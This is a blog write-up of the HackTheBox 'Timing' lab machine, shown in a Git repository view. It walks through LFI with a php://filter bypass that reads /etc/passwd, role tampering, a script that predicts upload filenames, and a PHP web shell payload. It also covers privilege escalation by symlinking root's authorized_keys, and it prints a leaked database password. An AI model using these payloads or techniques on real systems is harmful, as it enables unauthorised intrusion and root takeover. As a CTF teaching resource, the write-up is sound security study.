d3vyce 095a13b2c9
Some checks failed
Build Blog Docker Image / build docker (push) Failing after 1m11s
add: writeup-ctf
2024-03-02 21:49:07 +01:00

301 lines
9.7 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

---
title: "Writeup - Timing (HTB)"
date: 2022-04-07
slug: "writeup-timing-htb"
type: "writeup-ctf"
---
This is a writeup for the [Timing](https://app.hackthebox.com/machines/Timing) machine from the HackTheBox site.
## Enumeration
First, let's start with a scan of our target with the following command:
```bash
nmap -sV -T4 -Pn 10.10.11.135
```
Two TCP ports are discovered:
![](img/image-1.webp)
- 22/tcp : SSH port (OpenSSH 7.6p1)
- 80/tcp : HTTP web server (Apache 2.4.49)
![](img/image-2.webp)
## Exploit
First of all, let's start by listing the pages of the website.
![](img/image-3.webp)
When testing the different ones, they all return an error except the `image.php` page. Let's try to list the arguments available on this page with the following command:
```bash
ffuf -c -u http://10.10.11.135/image.php?FUZZ=/bin/bash -w wordlist/common.txt -fw 1
```
![](img/image-4.webp)
We find that the `img` argument exists. Let's try to list the contents of the `/etc/passwd` :
![](img/image-5.webp)
The site has an injection detection, let's try to make a new request but this time with a base64 encoding to avoid the detection:
```bash
http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd
```
The page returns a character string in base64, I decode it with the following command:
```bash
┌──(d3vyce㉿kali)-[~/Documents]
└─$ echo "[string]" | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash
```
We find that there is a user `aaron` on the machine. I try to connect to the site with this user and basic passwords.  I end up connecting with the following credentials: `user: aaron, password: aaron`.
I continue my exploration of the files by starting with `login.php`.
![](img/image-6.webp)
In this file I find a reference to the database connection file: `db_conn.php`.
```bash
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
```
db\_conn.phpOk, we have a username and password for the mysql database and potentially a user... I tried to make an SSH session with this password and the user `aaron` but without success.
I continue my research and find the mention of a new page in `upload.php` : `admin_auth_check.php`.
```php
<?php
include_once "auth_check.php";
if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
echo "No permission to access this panel!";
header('Location: ./index.php');
die();
}
?>
```
In this file we find that if the session variable `role` is equal to 1 we have access to the admin section of the site.
In one of the javascript files we find the existence of another php page : `profile_update.php`.
```php
function updateProfile() {
var xml = new XMLHttpRequest();
xml.onreadystatechange = function () {
if (xml.readyState == 4 && xml.status == 200) {
document.getElementById("alert-profile-update").style.display = "block"
}
};
xml.open("POST", "profile_update.php", true);
xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xml.send("firstName=" + document.getElementById("firstName").value + "&lastName=" + document.getElementById("lastName").value + "&email=" + document.getElementById("email").value + "&company=" + document.getElementById("company").value);
}
```
![](img/image-7.webp)
In this file we find that we can send during a POST request the `role` variable. I create a request with Burp with `role=1`, this should give me access to the admin panel of the site.
![](img/image-8.webp)
I continue my analysis of the php files of the site with `avatar_uploader.php` which brings me then to `upload.php`.
```php
<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>
```
In this file we learn several things:
- Only `.jpg` files are accepted
- The uploaded images are stored in the folder `images/uploards/`
- The images take a name based on the string `$file_hash` and the function time()
💡In PHP single quotes are strings and double quotes are the values of the variable.So we will have to make a script to calculate the first part of the file name. I realize this script in PHP, every second it will give a possible hash to use for the name of the uploaded file.
```php
<?php
while(true) {
$hash = md5('$file_hash' . time()) . 'd3vyce.jpg';
echo "hash = $hash \n";
sleep(1);
}
```
{{< alert >}}
Before doing the manipulation, it is necessary to check that your clock is well synchronized with the Internet (`timedatectl`). If this is not the case, you can activate it with the following command: `timedatectl set-ntp yes`.I create an image `d3vyce.jpg` with the following content:
{{< /alert >}}
```php
<?php system($_GET[cmd]);?>
```
I then run the php script :
![](img/image-9.webp)
Then I upload the image on the server. All that's left to do is to make requests with the different hash possibilities.
![](img/image-10.webp)
I can now send commands to the target server. It's not ideal, but I also tried with a reverse shell, but without success...
![](img/image-11.webp)
After some time of enumeration, I find a `source-files-backup.zip` file in the `/otp` folder.
To recover this file, I make a copy to the folder where the website is stored:
```bash
curl 'http://10.10.11.135/image.php?img=images/uploads/0fdde4bab214a9a96630c16ac87bf0d4_d3vyce.jpg&cmd=cp+/opt/source-files-backup.zip+/var/www/html/'
```
I can now retrieve the file by accessing the address `http://10.10.11.135/source-files-backup.zip`. After unzipping the zip I find the tree structure :
![](img/image-12.webp)
This is a GIT project, so I check the history with the following command:
![](img/image-13.webp)
In the last commit, there was a modification on the file in which we found credencials. Let's see what has been modified in this file:
![](img/image-14.webp)
There has been a password change! Let's try this new password to create an SSH session with the user `aaron`.
![](img/image-15.webp)
I now have a shell and can retrieve the first flag.
## Privilege escalation
For elevation of privilege I first check if the user has sudo access:
![](img/image-16.webp)
So I can use the `netutils` service with root rights. Let's see what this program does:
![](img/image-17.webp)
This program allows you to download files via FTP or HTTP.
![](img/image-18.webp)
Once the file is downloaded, I notice that it does not belong to me but to the root user!
What we will be able to do is to make a symbolic link of the file `/root/.ssh/authorized_keys` and then upload a file with the same name so that the content is overwritten and replaced by our public key.
To do this I create the symbolic link with the following command:
```bash
ln -s /root/.ssh/authorized_keys authorized_keys
```
![](img/image-19.webp)
Then before launching a file server in which I placed a file `authorized_keys` with my public key inside.
I download the file with the program `netutils` :
![](img/image-20.webp)
I now connect to the root user via SSH :
![](img/image-21.webp)
I can now recover the last flag.
## Recommendations
To patch this host I think it would be necessary to perform a number of actions:
- Do not use the same login/password
- Fix the php argument to avoid enumeration
- Do not use a user's password for the mysql database
- Do not give sudo rights to a program that does not need them